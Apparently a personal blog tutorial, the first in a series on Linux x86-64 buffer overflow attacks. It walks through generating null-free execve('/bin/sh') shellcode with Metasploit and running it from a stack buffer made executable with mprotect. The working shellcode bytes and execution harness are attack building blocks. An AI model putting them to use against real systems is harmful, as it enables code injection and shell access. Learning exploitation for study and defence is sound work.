This is my very first blog post! More will follow…

At least for this few post, I’m writing for an audience of one, which is my future self. I’ll be covering topics that may be covered elsewhere, however, I personally thought they were either not clearly explained or not up to date. (Perhaps I’m wrong…)

Comments are disabled, but if anyone reading this has feedback, feel free to send me an email ().

In this series of posts, I’ll be covering buffer overflow attacks on Linux x86-64 platforms. First, let’s cover shellcode (a piece of code to start a command shell).

Normally, a shell can be launched as follows. Consider the following simple_shell.c:

#include <stdio.h>
#include <unistd.h>

int main() {
  char *cmd = "/bin/sh";
  char *argv[] = { cmd, NULL };
  char *envp[] = { NULL };

  execve("/bin/sh", argv, envp);
  return 0;
}

Compiling and executing this code starts a shell:

gcc -Wall -O3 simple_shell.c -o simple_shell
./simple_shell
$ 

So far, so good! Now let’s do the same thing with shellcode. First, we’ll need to generate some shellcode…

For this, we can use the Metasploit framework. Metasploit is not included in the standard Ubuntu repositories, and figuring out how to install it with all its dependencies will take quite some time and effort. (I recall complaining to a well-known cryptographer that some parts of software development can be quite tedious and painful. His reply was that what is “pain” to me, can be “pleasure” to someone else. But anyway, I’m digressing…)

So, instead of installing Metasploit, it’s much easier to use Docker to quickly get things up and running. To install Docker and run it as a non-root user:

sudo apt-get install docker.io
sudo groupadd docker
sudo usermod -aG docker $USER

And generate some shellcode as follows (I’m leaving out some parts of the console output):

docker run --rm -ti metasploitframework/metasploit-framework

use payload/linux/x64/exec
set NullFreeVersion true
generate -f c

unsigned char buf[] = 
"\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";

The NullFreeVersion line was not present in an earlier version of this post. But it’s there now, because I will need it in a future post.

Let’s try our shellcode. Consider the following shellcode.c:

int main() {
  unsigned char buf[] = 
  "\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
  "\x52\x5e\x6a\x3b\x58\x0f\x05";
  
  (*(void (*)()) buf)();
  
  return 0;
}

The line before the return statement may look a bit weird, but it’s actually just casting the char array buf to a function pointer, dereferencing the function pointer, and then using () to run it as a function. Unfortunately, it doesn’t work:

gcc -Wall -O3 shellcode.c -o shellcode 
./shellcode
Segmentation fault (core dumped)

As it turns out, the shellcode is located on the stack, and many modern operating systems disallow executing code on the stack (as can be seen from cat /proc/self/maps | grep stack).

So we need to change our code slightly, to enable execution for the page(s) in memory where buf is located. For this we can use mprotect(), which requires an address that is aligned to a page boundary (see man mprotect). On my system, getconf PAGE_SIZE shows that pages are 4096 bytes. Using some bit manipulation to calculate the address range for mprotect() correctly, the following shellcode2.c should work:

#include <stdint.h>
#include <sys/mman.h>

int main() {
  unsigned char buf[] = 
  "\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x99\x52\x50\x54\x5f"
  "\x52\x5e\x6a\x3b\x58\x0f\x05";
  
  mprotect((void *)((uintptr_t)buf & ~4095),
                   ((uintptr_t)buf &  4095) + sizeof(buf),
            PROT_READ|PROT_WRITE|PROT_EXEC);
  
  (*(void (*)()) buf)();
  
  return 0;
}

And, in fact it does:

gcc -Wall -O3 shellcode2.c -o shellcode2
./shellcode2
$

It can be handy to use strace -e execve ./shellcode2 to trace the system call.

That’s it! The story continues in Buffer Overflow Attacks (Part 2)….

Buffer Overflow Attacks (Part 1)